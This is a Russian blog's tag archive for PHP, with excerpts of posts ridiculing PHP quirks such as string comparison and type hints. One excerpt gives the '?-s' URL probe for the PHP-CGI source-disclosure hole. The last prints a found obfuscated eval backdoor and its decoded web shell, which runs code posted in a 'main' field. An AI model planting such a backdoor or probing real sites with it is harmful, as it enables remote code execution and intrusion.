Архивъ
- May 2012 (33)
- April 2012 (28)
- March 2012 (41)
- February 2012 (25)
- January 2012 (29)
- December 2011 (38)
- November 2011 (18)
- October 2011 (22)
- September 2011 (19)
- August 2011 (24)
- July 2011 (41)
- June 2011 (38)
- May 2011 (36)
- April 2011 (35)
- March 2011 (28)
- February 2011 (18)
- January 2011 (21)
- December 2010 (19)
- November 2010 (14)
- October 2010 (20)
- September 2010 (33)
- August 2010 (9)
- July 2010 (28)
- June 2010 (27)
- May 2010 (43)
- April 2010 (57)
- March 2010 (42)
- February 2010 (38)
- January 2010 (33)
- December 2009 (51)
- November 2009 (53)
- October 2009 (42)
- September 2009 (22)
- August 2009 (29)
- July 2009 (22)
- June 2009 (31)
- May 2009 (39)
- April 2009 (6)
Тэги
apple DNS facebook google IDN linux LJ microsoft php python security ubuntu wifi windows Ирландия МТС РПЦ Россия СССР СУП Яндекс афроадминистраторы банковское быдлокодеры грабли журналюги задачки для сисадминов заметки ненатуралиста зомбоящик и о погоде кино копирайт коты медиацентр мобилография музыка наблюдизмы наркотики письма наших писателей программирование рабочее русский язык спам спутниковое телевидение хуморПолезности
Tag Archives: php
PHP: ещё один пример тяжёлого случая brain damage
— Вы в баню? — Нет, я в баню. — А-а, а я-то думал, вы в баню! <?php function print_string(string $s) { echo $s; } print_string(“Hello world!\n”); ?> Думаете, оно напечатает “Hello world!”? Агащазблин: PHP Catchable fatal error: Argument 1 … Continue reading
И ещё примеры PHP’шной логики
<?php if(“987″ < “1234″) { echo “less\n”; } else { echo “not less\n”; } ?> “less”. По мнению аффтаров PHP _строка_ “987″ меньше, чем строка “1243″. Почему? А хз. <?php if(“1e4″ == “10000″) { echo “equal\n”; } else { echo … Continue reading
Сколько будет ноль плюс два?
<?php echo 0×0; echo “\n”; echo 2; echo “\n”; echo 0×0+2; echo “\n”; ?> Что получилось? 0 2 4 Самое смешное, что 0×0+ 2 тоже 4, но 0×0 +2 — только 2. Это я ошибся, на самом деле наоборот: 0×0+ … Continue reading
Ох, не зря я не люблю это ваше похапе
ТАК лохануться — это уметь надо. Для проверки уязвимости добавьте в конце урла ?-s Если вместо выполнения скрипта вы увидите его исходник, то всё, приплыли. К счастью, работает оно не везде, а только если PHP установлен в виде обработчика CGI. … Continue reading
О приоритетах
Из любимого юмористического сообщества ru_php я сегодня узнал, что в PHP логические операторы “and” и “or” имеют гораздо более низкий приоритет, чем “&&” и “||”. Каково же было моё удивление, когда я обнаружил, что и в перле дело обстоит точно … Continue reading
Вы таки спрашиваете, за что я не люблю это ваше php?
А вот за что: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 20970 ***** 25 0 93272 8624 4696 R 99.4 0.1 2661:05 php В данном случае виноваты не те программисты, которые написали скрипт, а те, … Continue reading
Электронная коммерция
Я не сильно хорошо разбираюсь в ебизнесе. Кто-нибудь может пояснить, нафига интернет-магазину интеграция с вконтактиками и фейсбучеками? P.S. Про _скрипты_, которые позволяют менять _дизайн_, я уже не говорю. Про разделение бизнес-логики и представления быдлокодеры не знают. Зато вконтактики есть. Это … Continue reading
Про утекшие СМСки и robots.txt
Это мог написать кто угодно, не всем же разбираться в тонкостях работы веба. Но написал _веб-разработчик_. Якобы. С PHP вместо головы. А потом мы удивляемся, откуда берутся ТАКИЕ сайты.
Задумчиво глядя в код
<?php eval(base64_decode(“aWYoaXNzZXQoJну и т.д.”)); ?> После декодирования оно выглядит так: if(isset($_GET["part"])) { if($_GET["part"]==”sec”) echo “partgood”; } else if(isset($_POST["ggg"])) { if($_POST["ggg"]==1) echo “ok11″; } else if(isset($_POST["main"])) { eval(urldecode($_POST["main"])); }